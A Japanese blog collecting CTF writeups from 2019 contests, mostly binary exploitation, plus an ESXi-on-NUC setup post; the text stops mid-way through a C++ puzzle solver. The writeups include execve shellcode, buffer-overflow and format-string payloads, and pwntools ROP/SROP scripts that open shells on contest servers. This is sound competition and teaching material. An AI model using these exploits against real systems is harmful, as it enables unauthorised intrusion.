SECCON CTF 2019 QUALS writeup
SECCON CTF 2019 QUALS
yharima
で参加.今回は6人で参加.
自分にあまり人権はなかったが,メンバーが頑張ってくれて 1954pts で 45位.決勝は厳しそう.
pwn 担当なのでいつも通り pwn ばっかり手を出してたけど爆死しました.
ソース: https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2019_QUALS
Beeeeeeeeeer
最初は pwn がなかったので適当に手を出した.
実行するとわけわからん感じだけど,中身をみるとやたら長い base64 エンコードされたものがある.
echo <やたらながい> |base64 -d|gunzip|bash
圧縮されてるし解凍して bash
に詳してるし怪しい.
この部分を取り出すと for 文が回ってたりするがまた長い base64 がある.
ただ今度は暗号化されてるようで echo <やたらながい> |base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;
となっている.
$n
は上のほうでランダムに決定されていて取りうる範囲は 1 - 10 なので適当に1から10ためしてみると3で復号できる.
また難読化されたものがでるが,末尾が SECCON{$S1$n$_____};echo -e '\033[?7h';
となっていてフラグっぽい.
$n
は 3
として $S1
は? と思ったけどメンバーがすでに解析終わっていたようで hogefuga
らしい.
あとは $_____
だけどどうすれば…とおもっていたらメンバーが順番に echo していけば読めると教えてくれたので読んでいくとどうやら bash
らしい.
というわけで bash といれてみると,以下のようになった.
$ S1=hogefuga n=3 bash beer3 Enter the password bash Good Job! }
どゆこと…?でも Good Job だからあってるんだよなあとおもって strace にかける,
$ S1=hogefuga n=3 strace bash beer3 (snip) write(1, "Good Job!\n", 10Good Job! ) = 10 write(1, "\n", 1 ) = 1 write(1, "\33[?7l "..., 1024 4 write(1, " ", 5 ) = 5 write(1, "SECCON{hogefuga3bash}\n", 22SECCON{hogefuga3bash} ) = 22 write(1, "\33[?7h\n", 6 ) = 6 read(255, "", 8192) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 exit_group(0) = ? +++ exited with 0 +++
フラグでとるやん!制御文字でクリアでもされているのか?という話に.
というわけで SECCON{hogefuga3bash}
が答え.
Sum
実行すると数字を与えて最後に 0
を入れると加算結果を表示してくれる.
1 1 1 1 0
みたいなのはいいけど 1 1 1 1 1 0
みたいにするとセグフォで落ちる.
=> 0x40077a <sum+35>: mov QWORD PTR [rax],0x0
このときに rax
は 0x0
で入力を他の数字にかえてみる.(1 1 1 1 1 1
).
=> 0x40077a <sum+35>: mov QWORD PTR [rax],0x0
どうも6個目の入力のアドレス先に 0 を代入してるらしい.さらに読み進めていくとここに加算された結果を足しこんでいくようだ.
ということは任意のアドレスを書き換えることができる.ひとまず書き換えが1回だけでは何も出来ないので main が何回も実行されるようにしたい.
6個以上入力を食わすと exit されるので exit の got を上書きして main に飛ぶようにする.
注意しないといけないのは6個の合計値が加算されるので,書き換えたい先のアドレス分の値は引いておかないといけない.
ここまできたら libc のアドレスを leak して one_gadget のアドレスを求めたら exit
の got を上書きして飛ばしてあげれば良い.
ただ,libc を leak する方法で迷走した.GOT を上書きしてなんとかしたいが,都合よく libc のアドレスを leak できそうな引数をとってるものがない.
setup
をみると setvbuf
で 0x601060(stdout)
が指定されていてちょっと使えそうなきがしたのでまず exit => main から exit => _start にして setup が何度も呼ばれるようにする.
そして setvbuf
を puts
に書き換えて実行してみるもどうもそれっぽい値がでない.
ここから迷走したが最終的には 0x601060
にさらに puts@got
のアドレスを書き込んでやると libc が leak できたのであとは one_gadget に飛ばした.他にいい方法がありそうな気もする.
https://github.com/yuta1024/ctf_log/blob/master/SECCON_CTF_2019_QUALS/sum/sum.py
$ python sum.py [+] Opening connection to sum.chal.seccon.jp on port 10001: Done [+] libc_base addr = 0x7fee79528000 [*] Switching to interactive mode $ ls bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv start.sh sum sys tmp usr var $ cat flag.txt SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
まとめ
2問しかも1つは半分くらいメンバーも手を出していたので人権1.5だった.
pwn 難しすぎなのと heap から逃げてたけどいい加減向き合うことにします. one
は解けないといけない問題であった‥.
決勝でれたらいいな….
嘆き
lazy
無限に時間を溶かした上に解けなかった問題.
ID/PASS は BOF して抜いてバイナリを拾ってくるまでは簡単.
さらに BOF があるので ROP し放題なわけだが libc をダウンロードできない.
無理やり ROP してダウンロードしてみるも 4MB くらいで EOF が返ってくる.
中の関数などを使って直接フラグを表示させる方法も試行したが,おそらくシェルをとってその上で同じディレクトリにある cat
コマンドを使わないとだめな雰囲気を感じた.
以下のようにフラグファイルが見えて他のファイルが読めたので心がつらかった.
$ python lazy.py [+] Opening connection to lazy.chal.seccon.jp on port 33333: Done [+] Receiving all data: Done (193B) [*] Closed connection to lazy.chal.seccon.jp port 33333 run.sh lazy ld.so cat .profile libc.so.6 810a0afb2c69f8864ee65f0bdca999d7_FLAG .bashrc q .bash_logout run.sh Sending 68 bytes#!/bin/sh export HOME="/home/lazy" ./ld.so --library-path . ./lazy $ python lazy.py [+] Opening connection to lazy.chal.seccon.jp on port 33333: Done [+] Receiving all data: Done (52B) [*] Closed connection to lazy.chal.seccon.jp port 33333 810a0afb2c69f8864ee65f0bdca999d7_FLAG No such file!
もっと勉強します….
追記
繰り上げで国内決勝に出れることになりました! :tada:
picoCTF 2019 writeup
picoCTF 2019
いつもどおり yharima
で,でも今回も一人だった.
さすがに問題多すぎるというのと, SECCON に向けての練習ということでほぼ pwn しかやらなかった.
7300pts で 1833th. 参加者めちゃくちゃ多いっすね….
数も多いので pwn だけ writeup 書きます.コードは以下.
ctf_log/picoCTF_2019 at master · yuta1024/ctf_log · GitHub
handy-shellcode
32bit のシェルコード流せばOK.
$ (perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"'; cat) | ./vuln Enter your shellcode: 1�Ph//shh/bin��PS�� ̀ Thanks! Executing now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{h4ndY_d4ndY_sh311c0d3_4dc9a786}
practice-run-1
実行するだけ.
$ ./run_this picoCTF{g3t_r3adY_2_r3v3r53}
OverFlow 0
BOF させるだけ.
$ perl -e 'print "A" x 256' | xargs ./vuln picoCTF{3asY_P3a5yf663660d}
OverFlow 1
BOF させてフラグ表示する関数に飛ばす.
$ perl -e 'print "A" x 76 . "\xe6\x85\x04\x08"' | ./vuln Give me a string and lets see what happens: Woah, were jumping to 0x80485e6 ! picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)
NewOverFlow-1
64bit なだけ.なぜか flag
関数の先頭だとうまくいかなかったのでずらしたら動いた.
$ perl -e 'print "A" x 72 . "\x68\x07\x40\x00\x00\x00\x00\x00\n"' | ./vuln Welcome to 64-bit. Give me a string that gets you the flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_cfe23f2b}
slippery-shellcode
nop おいて滑らすだけ.
$ (perl -e 'print "\x90" x 256 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\n"'; cat) | ./vuln Enter your shellcode: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Rh//shh/bin��RS��B ̀ Thanks! Executing from a random location now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
NewOverFlow-2
問題ミスとしか思えない.本当は ROP させたいんだろうけど flag
関数が残ってるので1と同じ.
$ perl -e 'print "A" x 72 . "\x4e\x08\x40\x00\x00\x00\x00\x00\n"' | ./vuln Welcome to 64-bit. Can you match these numbers? picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}
OverFlow 2
引数をとるようにするだけ.
$ perl -e 'print "A" x 188 . "\xe6\x85\x04\x08" . "A" x 4 . "\xef\xbe\xad\xde" . "\x0d\xd0\xde\xc0"' | ./vuln Please enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ� picoCTF{arg5_and_r3turn598632d70}
CanaRy
canary は固定なので 1byte づつ canary を総当たりして leak させる.
全部 leak させたら戻りアドレスの末尾 2byte を display_flag
のアドレスにする.
ただし, objdump でみると 000007ed <display_flag>
となっており 0xed
はいいにしても 0x07
の部分は 0x07
から 0xf7
までとりうる.
これは確定できないので適当な値を決め打ちして何回か実行したらそのうちあたる.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/canary/canary.py
$ python /tmp/yuta1024/canary.py [+] Starting local process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln': pid 3566097 [+] Receiving all data: Done (71B) [*] Process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln' stopped with exit code -11 (SIGSEGV) (pid 3566097) Ok... Now Where's the Flag? picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}
leap-frog
win1 && !win1
みたいなふざけた条件があって普通に関数をよんでもだめ.
win1
, win2
, win3
はグローバル変数で連続しているので win1
を引数に gets
を読んで 3byte 埋めてから display_flag
を呼び出してあげれば良い.
はたして想定解法なのか…?
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/leap-frog/leap-frog.py
$ python /tmp/yuta1024/leap-frog.py [+] Starting local process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop': pid 4130613 [+] Receiving all data: Done (50B) [*] Process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop' stopped with exit code -11 (SIGSEGV) (pid 4130613) picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}
stringzz
FSB があるので適当に %x
並べてフラグが格納されてるアドレス位置をみつけたらそこを %s
するだけ.
$ ./vuln input whatever string you want; then it will be printed back: %37$s Now your input will be printed: picoCTF{str1nG_CH3353_0814bc7c}
GoT
タイトル通り GOT を上書きするだけ.
しかもご丁寧にアドレスを読み込んで任意の値にしてくれる.書き換えるのは最後の exit
の GOT.
exit の GOT は 0x804a01c
で 10進数になおすと 134520860
.
win のアドレスは 0x00485c6
で 134514118
.
$ ./vuln You can just overwrite an address, what can you do? Input address 134520860 Input value? 134514118 The following line should print the flag picoCTF{A_s0ng_0f_1C3_and_f1r3_9463c919}
seed-sPRiNG
srand(time(NULL))
したあと rand() & 0xf
してるだけなので時間さえ合わして同じシードにしたらローカルで計算した乱数と一致する.
サーバタイムは普通に date
すればわかるので適当にずれているなら待てばいい.
$ date && nc 2019shell1.picoctf.com 21871 2019年 10月 4日 金曜日 01:06:47 JST # mmmmm mmmmm " mm m mmm mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" " # " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm """m #"""" #"""" # # """m # # "m # # # # # # "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm" Welcome! The game is easy: you jump on a sPRiNG. How high will you fly? LEVEL (1/30) Guess the height: 8 LEVEL (2/30) Guess the height: 6 LEVEL (3/30) Guess the height: 5 LEVEL (4/30) Guess the height: 8 LEVEL (5/30) Guess the height: 13 LEVEL (6/30) Guess the height: 12 LEVEL (7/30) Guess the height: 13 LEVEL (8/30) Guess the height: 15 LEVEL (9/30) Guess the height: 11 LEVEL (10/30) Guess the height: 3 LEVEL (11/30) Guess the height: 14 LEVEL (12/30) Guess the height: 8 LEVEL (13/30) Guess the height: 4 LEVEL (14/30) Guess the height: 1 LEVEL (15/30) Guess the height: 15 LEVEL (16/30) Guess the height: 9 LEVEL (17/30) Guess the height: 8 LEVEL (18/30) Guess the height: 10 LEVEL (19/30) Guess the height: 12 LEVEL (20/30) Guess the height: 7 LEVEL (21/30) Guess the height: 6 LEVEL (22/30) Guess the height: 13 LEVEL (23/30) Guess the height: 5 LEVEL (24/30) Guess the height: 8 LEVEL (25/30) Guess the height: 1 LEVEL (26/30) Guess the height: 1 LEVEL (27/30) Guess the height: 0 LEVEL (28/30) Guess the height: 4 LEVEL (29/30) Guess the height: 5 LEVEL (30/30) Guess the height: 10 picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:
L1im1tL355
main 関数内で stack に積んでる array[666]
は負の index を与えることができる.
replaceIntegerInArrayAtIndex
に飛んだ先で戻りアドレスの値を win
のアドレスに書き換えてあげればいい.
main から replaceIntegerInArrayAtIndex を呼び出してるので負値の index を与えるといい感じに書き換えれる.
$ ./vuln Input the integer value you want to put in the array 134514118 Input the index in which you want to put the value -5 picoCTF{str1nG_CH3353_5243a217}
rop32
/bin/sh
がないので gets を使って bss の適当な場所に入力する.
あとはレジスタを pop gadget でいい感じにして int 0x80
してシェルを起動する.
gets は改行がくるとだめなので pop eax; ret;
みたいな gadget だとアドレスに 0x0a
があってだめだった.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop32/rop32.py
$ python ~/rop32.py [+] Starting local process '/problems/rop32_1_c4f09c419e5910665553c0237de93dcf/vuln': pid 2046935 [*] Switching to interactive mode $ ls -l total 656 -r--r----- 1 hacksports rop32_1 31 Sep 28 21:54 flag.txt -rwxr-sr-x 1 hacksports rop32_1 661832 Sep 28 21:54 vuln -rw-rw-r-- 1 hacksports hacksports 466 Sep 28 21:54 vuln.c $ cat flag.txt picoCTF{rOp_t0_b1n_sH_b6597626}
rop64
x86_64 にするだけ.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop64/rop64.py
$ python ~/rop64.py [+] Starting local process '/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3/vuln': pid 1560430 [*] Switching to interactive mode $ ls flag.txt vuln vuln.c $ cat flag.txt picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}
まとめ
pwn は全部解きたかったけどいつの間にか終わってた.heap 系苦手‥.
NACTF 2019 writeup
NACTF 2019
yharima
で参加…だけど今回も一人.かつぬるく参加して主に pwn だけに手を出した.
メインでやったのは pwn なので pwn だけ writeup を書く.
今回ソースコードは付いてるが読まない縛りをした.
ソース: https://github.com/yuta1024/ctf_log/tree/master/NACTF_2019
BufferOverflow #0
セグフォを起こすと win
関数が呼ばれて flag が表示される.
というわけで適当に BOF させてあげれば良い.
$ python bufover-0.py [+] Opening connection to shell.2019.nactf.com on port 31475: Done [+] Receiving all data: Done (98B) [*] Closed connection to shell.2019.nactf.com port 31475 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! You win! flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
BufferOverflow #1
単純に BOF があって EIP 奪えるので BOF させて win
関数に飛ぶようにすれば良い.
$ python bufover-1.py [+] Opening connection to shell.2019.nactf.com on port 31462: Done [+] Receiving all data: Done (91B) [*] Closed connection to shell.2019.nactf.com port 31462 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x0! You win! flag: nactf{pwn_31p_0n_r3t_iNylg281}
BufferOverflow #2
BOF があって EIP が奪えて win
関数に飛ばせば良い.
が, win
関数が適切な引数を取る必要があるので引数に取るようにしてあげれば良い.
Hopper で読んでいる感じだと3つ引数を取る必要があって 0x14b4da55
, 0x0
, 0xf00db4be
を順番に取らないとだめっぽい?
$ python bufover-2.py [+] Opening connection to shell.2019.nactf.com on port 31184: Done [+] Receiving all data: Done (101B) [*] Closed connection to shell.2019.nactf.com port 31184 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0AAAAUڴ\x14! You win! flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}
Format #0
タイトル通り FSB がある.
フラグ自体は読み込まれていてそのアドレスがスタックに詰まれてるので,そこを表示するようにすれば良い.
$ python format-0.py [+] Opening connection to shell.2019.nactf.com on port 31782: Done [+] Receiving all data: Done (52B) [*] Closed connection to shell.2019.nactf.com port 31782 You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}
Format #1
次は読み出すのではなく書き換えが必要.
といっても書き換え対象はスタックに詰まれてる.値は 42
にしてあげれば良い.
$ python format-1.py [+] Opening connection to shell.2019.nactf.com on port 31560: Done [+] Receiving all data: Done (98B) [*] Closed connection to shell.2019.nactf.com port 31560 You typed: @ You win! nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}
Loopy #0
適当な GOT のアドレスを leak させて BOF してもう1回 main を実行させる.
leak したアドレスから libc のベースアドレスを計算して BOF させて system
を実行させれば良い.
$ python loopy-0.py [+] Opening connection to shell.2019.nactf.com on port 31283: Done [+] libc_base_addr = 0xf7d04000 [*] Switching to interactive mode You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ $ ls flag.txt loopy-0 $ cat flag.txt nactf{jus7_c411_17_4g41n_AnZPLmjm}
Loopy #1
Loopy #0
と同じだが SSP が有効になっていて BOF させて EIP を自由に操作することはできない.
FSB は健在なのでまず GOT を leak するのと __stack_chk_fail
の GOT を main に書き換える.
適当な GOT をリーク + わざと BOF させて __stack_chk_fail
を呼び出し main を再度呼び出す.
これで1回目は libc のベースアドレスを求めれる.
2回目は libc のベースアドレスを知っているのでなにかの GOT を system に書き換えることはできる.
ただし /bin/sh
を引数に取らないとだめなので自由な値を渡すことができる関数を書き換える必要がある.
printf
は入力を受け取った buffer をそのまま渡してるのでこいつを system に書き換えてあげれば良い.
__stack_chk_fail
はすでに main に書き換えてあるので BOF さえすればまた main から呼び出される.
3回目は特に何かする必要はなく入力に /bin/sh
を食わせてあげれば良い.
$ python loopy-1.py [+] Opening connection to shell.2019.nactf.com on port 31732: Done [+] libc_base_addr = 0xf7d08000 [+] system_addr = 0xf7d46c00 [*] Switching to interactive mode $ ls flag.txt loopy-1 $ cat flag.txt nactf{lo0p_4r0und_th3_G0T_VASfJ4VJ}
まとめ
FSB 利用して exploit を書くのが苦手.32bit なの久々だった.
pwn は全部解けたので良かった.割と教育的な問題だった印象.でも32bitって最近見ないのがどうなのか,と気にはなった.
CSAW CTF 2019 Quals writeup
CSAW CTF 2019 Quals writeup
いつもどおり yharima で参加…と思いきや一人でした.
久々の CTF だったのと,人も集まらなかったのでぬるりと参加していました.
pwn にだけ手をだして 201 pts の 339th. 難しかった.
ソース: ctf_log/CSAW_CTF_2019_Quals at master · yuta1024/ctf_log · GitHub
mcgriddlev2
pwn だけといいつつ warmup だけは投げた.
flag{W3lcome_7o_CSAW_QUALS_2019!}
baby_boi
繋ぎにいくと何かのアドレスを教えてくれる.しかも懇切丁寧にソースコードもある.
ソースを読むとどうやら printf
のアドレスを表示しているらしい.
そのあと露骨に BOF の脆弱性がある gets
が実行されてプログラムが終了する.
libc も付属しているので printf
のアドレスから libc の base アドレスを求める.
あとは one-gadget のアドレスを探索して BOF + one-gadget のアドレスでシェルが立ち上がる.
前回5時間溶かしたので今回はしっかり経験を活かした.
flag{baby_boi_dodooo_doo_doo_dooo}
from pwn import * context.arch = 'amd64' con = remote('pwn.chal.csaw.io', 1005) con.recvline() msg = con.recvline().strip() print msg libc_base_addr = int(msg[13:], 16) - 0x064e80 print "[+] libc_base_addr = 0x%x" % libc_base_addr payload = 'A' * 40 payload += pack(libc_base_addr + 0x4f322) con.sendline(payload) con.interactive()
gotmilk
名前からして露骨に GOT overwrite をする問題だから format string の脆弱性があるんだろうと予想する.
%x
とか食わしてみると予想通りアドレスが表示されるので GOT overwrite すればいい.
何をどう上書きするかについては lose
という関数の GOT を win
に書き換えればいい.
win
は 0x1189
で lose
は 0x11f8
なので libmylib.so
がどこのアドレスにリンクされるかの興味は一切なく,
末尾の 0xf8
を 0x89
に書き換えればいい.leak させる必要もない.hhn
でやる.
flag{y0u_g00000t_mi1k_4_M3!?}
from pwn import * context.arch = 'i386' con = remote('pwn.chal.csaw.io', 1004) con.recvregex('GOT milk\? ') con.sendline(pack(0x804a010) + '%133c%7$hhn%7$s') print con.recvline().strip()[13:].encode('hex') print con.recvall()
Twitch plays shellcode
正気度を疑う問題.x86_64 のシェルコードを twtich のチャットから入力して実行させる問題.
ただしどの行のどの列をどの値にするかはすべてチャット参加者の投票で決まる.なのでもちろん妨害もされる.
しばらく眺めていると結構いい感じに進んでいるタイミングを発見.結局色々あって2時間くらいかかっていた.
途中状況がわかってない人や荒らしっぽい人が入ってきてマジギレしてる人とかいて殺伐としていた.問題としてどうなのか….
最終的に実行されたシェルコードは以下だったはず.
\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1a\x00\x00\x00\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x74\x77\x69\x74\x63\x68\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\x56\x57\x48\x89\xe6\x0f\x05
最終的にフラグは以下.
flag{https://www.youtube.com/watch?v=pGFGD5pj03M}
small_boi
コンテスト中は解けなくて後から解いた.
すごい小さく dynamic link もしてないバイナリ.libc はないが syscall はいくつかある.
BOF があるので ROP してなんとかすればいいんじゃないかと思い試行錯誤するも敗北.
pop eax
はあるので任意の syscall は呼び出せる,でも rdi をセットできない.
/bin/sh
はなぜか strings すると以下のようにあるのでほんと rdi だけセットできれば勝てる.
(1ca
だが調べてみると 0x400000 が base になるらしいのでそれを足した 0x4001ca
が /bin/sh
のアドレス).
$ strings -tx ./small_boi | grep /bin/sh 1ca /bin/sh
ここから無限に迷走して終了した.
どうも Sigreturn-oriented Programming(SROP) 問題だったらしい.
sigreturn 命令は確かに ropgadget の中にあった.
0x00400180: mov eax, 0x0000000F ; syscall ; (1 found)
こいつを呼び出すとレジスタを任意の値にセットでき,そこでセットした rip から処理が続行されるらしい.
詳しい解説は SROP などで調べてください.
なのでやることは以下.
- BOF させて 0x400180 の sigreturn を実行
- rax に execve の syscall 番号 0x3b をセット
- rdi に
/bin/sh
のアドレス0x4001ca
をセット - rip に 上記でセットしたレジスタ状態で syscall を呼びたいので syscall のアドレスをセット(どれでもいい)
するとシェルがあがる(以下はローカルで動作確認した).
from pwn import * context.arch = 'amd64' # con = remote('pwn.chal.csaw.io', 1002) con = remote('192.168.10.66', 11002) payload = 'A' * 40 payload += pack(0x400180) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = 0x4001ca frame.rip = 0x400185 payload += str(frame) con.sendline(payload) con.interactive()
まとめ
Twitch の問題はいくらなんでも厳しすぎると思った.
そして SROP 知らないのダメダメですね….もっと勉強しなければ….
ESXi 6.7U2 on BOXNUC8I5BEH
ESXi 6.7U2 on BOXNUC8I5BEH
以前は以下でも書いたように第5世代の NUC に ESXi を入れて使っていたが,古くなってきたのと新しいものが欲しくなってきたので調達してみた.
買ったもの
アフィは嫌いなので型番と値段だけ転がしておく.計69442円.
電源ケーブル(ミッキーケーブル)は付属してないので注意.
- 本体: Intel NUC Kit BOXNUC8I5BEH(46622円)
- メモリ: CFD Selection D4N2400CM-16G * 2本(8585円 * 2本)
- ストレージ: ADATA XPG SX6000 Pro ASX6000PNP-256GT-C(4900円)
- ブートディスク: SanDisk Cruzer Fit SDCZ33-016G-JA57(660円)
組み立て
蓋開けてメモリと NVMe 挿すだけ.
メモリテスト
最終的にはブートディスクにはするけど先に memtest 投げ込んでテスト.
memtest は以下の free 版で.
hammer test は外して4周するのに3時間40分くらいだった.
BIOS の更新
ESXi 入れる前に BIOS を最新にしておいたほうが良いという情報が散見されたのであげた.
memtest で使った USB メモリを FAT32 でフォーマットして以下から落としてきた BIOS を普通にコピーするだけ.
自分がダウンロードしたのは "OS Independent" の "BE0073.bio"(現時点最新なので数字は変わりそう).
NUC を起動したら F2 を押して UEFI を起動して以下の手順に従って更新.
FAT32 の USB メモリを普通に読めるとかすごいですね(老害並み感).
ESXi のインストール用 USB メモリの作成
今回の NUC はカスタムイメージである必要がないので,公式から ESXi 6.7U2 を落としてきてブートディスク用の USB メモリに Rufus で bootable image に変換してあげれば良い.
手順は以下を参考に.というかこのサイトが最高.
ESXi のインストール
上記で作成した USB メモリを作成して手順に従ってインストールするだけ.
自分は NVMe は VM 用のディスクとして利用するので, ESXi はインストール用 USB メモリに書き込んだ.
まとめ
メモリも 32GB になって,カスタムイメージじゃなくなったりでさらに楽になって最近の NUC は素晴らしい.
k8s はあれだし Normad あたりで遊ぶ予定.
SECCON Beginners CTF 2019 writeup
SECCON Beginners CTF 2019
yharima で参加.誰もいないかと思ってたら後輩二人が参加してくれたので3人で.
チームは 3415 pts の 11th, 個人は 2363 pts の 19th. なぜ10位以内に入れないのか….
[warmup] Welcome
IRC 繋ぎに行くだけ.
ctf4b{welcome_to_seccon_beginners_ctf}
memo
最初これが Pwn の warmup だったと思うんだけど途中で変わった…?
入力の長さを受け取って,そのあとその入力を受け付けるだけのプログラム.
objdump すると hidden
という関数があって EIP 奪ってこいつに飛ばせば勝ちっぽい.
入力は 0x1f
と比較しているので 32 以上を入れないとだめっぽい.
動かしていくと長さ調整すると書き込みスタックのアドレスが変動していくのが観測できた(ローカル GDB 環境).
32: 0x7fffffffe430 =>0x7fffffffe400 64: 0x7fffffffe430 => 0x7fffffffe3e0
戻りアドレスが 0x7fffffffe480
においてあるのでそのように長さを調整すれば良いかと思ったが,
増やしていくと遠ざかっていく.負の長さ入れたらどうなるんだろうと思ったら通ってしまい,スタックの位置が調整できた.
あとは長さを GDB で確認して調整しつつ hidden に飛ばしてあげればいい.
ただ,自分は hidden の先頭アドレスだとローカルでは上がるがリモートでは上がらなかったので,適当にずらしたら動いた.スタックでも壊れてたんだろうか?
from pwn import * context.arch = 'amd64' con = remote('133.242.68.223', 35285) con.recvregex('Input size :') con.sendline('-96') con.recvregex('Input Content :') payload = pack(0x4007c1) * 4 con.sendline(payload) con.recvline() con.interactive()
上記を実行すると以下のような感じでフラグがとれる.
(CTF) mbp:CTF yuta1024$ python memo.py [+] Opening connection to 133.242.68.223 on port 35285: Done [*] Switching to interactive mode $ ls -l total 16 -rw-r----- 1 root memo 27 May 19 11:00 flag.txt -rwxr-x--- 1 root memo 8632 May 22 16:13 memo $ cat flag.txt ctf4b{h4ckn3y3d_574ck_b0f} $ [*] Interrupted [*] Closed connection to 133.242.68.223 port 35285
[warmup] Seccompare
動かすと flag を引数にとって動かすらしい.
objdump してみると以下のように露骨にフラグっぽいものが.
400630: c6 45 d0 63 mov BYTE PTR [rbp-0x30],0x63 400634: c6 45 d1 74 mov BYTE PTR [rbp-0x2f],0x74 (snip) 40069c: c6 45 eb 7d mov BYTE PTR [rbp-0x15],0x7d 4006a0: c6 45 ec 00 mov BYTE PTR [rbp-0x14],0x0
以下のワンラインナーで適当に処理した.
$ objdump -M intel -d seccompare | grep "mov BYTE PTR \[rbp-" | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)' ctf4b{5tr1ngs_1s_n0t_en0ugh}
[warmup] shellcoder
シェルコードを食わして実行してくれるプログラム.
ただし,制限として "b", "i", "n", "s", "h" が禁止でペイロード長は 0x28 まで.
禁止文字列は基本シェルコードの "//bin/sh" を push するところが問題になるだけなのでそこを4で割ったものを push して後続で調整してあげる方針に(2で割ると偶然禁止文字列にあたってしまうため).
以下のようなシェルコードを書いて動作を確認.
.intel_syntax noprefix .globl _start _start: xor rdx, rdx push rdx mov rax, 0x1a1ccbcbdb9a588b shl rax, 0x02 or rax, 0x0f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+59] syscall
4倍するより2bit 左 shift するほうが命令列が少ない.末尾は 0xf なので add してもよかったがこれも節約のため 0x0f と or することにした.
これをコンパイルして16進数にしたら,あとはサーバに投げれば以下のようにフラグが取れる.
from pwn import * context.arch = 'amd64' con = remote('153.120.129.186', 20000) shellcode = "\x48\x31\xd2\x52\x48\xb8\x8b\x58\x9a\xdb\xcb\xcb\x1c\x1a\x48\xc1\xe0\x02\x48\x83\xc8\x0f\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" con.recvline() con.sendline(shellcode) con.interactive()
実行結果は以下.
(CTF) mbp:CTF yuta1024$ python shellcoder.py [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
Sliding puzzle
スライドパズルを解くだけのゲーム.
Python でこういうの書くの苦手なので solver は C++ で書いて通信部分だけ Python というキモい構成.
久々に C++ 書いて実装力の低下を感じた.30分ちょっとかかった気がする.
#include <iostream> #include <fstream> #include <vector> #include <queue> #include <set> using namespace std; const int SIZE = 3; const int dx[] = {0, 1, 0, -1}; const int dy[] = {-1, 0, 1, 0}; const int dm[] = {0, 1, 2, 3}; class State { public: int pos; vector<vector<int> > p; vector<int> move; State(int pos, vector<vector<int> > p, vector<int> move) { this->pos = pos; this->p = p; this->move = move; } }; bool validate(const vector<vector<int> >& p) { int prev = -1; for (int i = 0; i < SIZE; ++i) { for (int j = 0; j < SIZE; ++j) { if (prev > p[i][j]) { return false; } prev = p[i][j]; } } return true; } vector<int> solve(const vector<vector<int> >& p, int pos) { queue<State> q; q.push(State(pos, p, vector<int>())); set<vector<vector<int> > > visited; while (!q.empty()) { const State s = q.front(); q.pop(); visited.insert(s.p); if (validate(s.p)) { return s.move; } for (int d = 0; d < 4; ++d) { int xx = 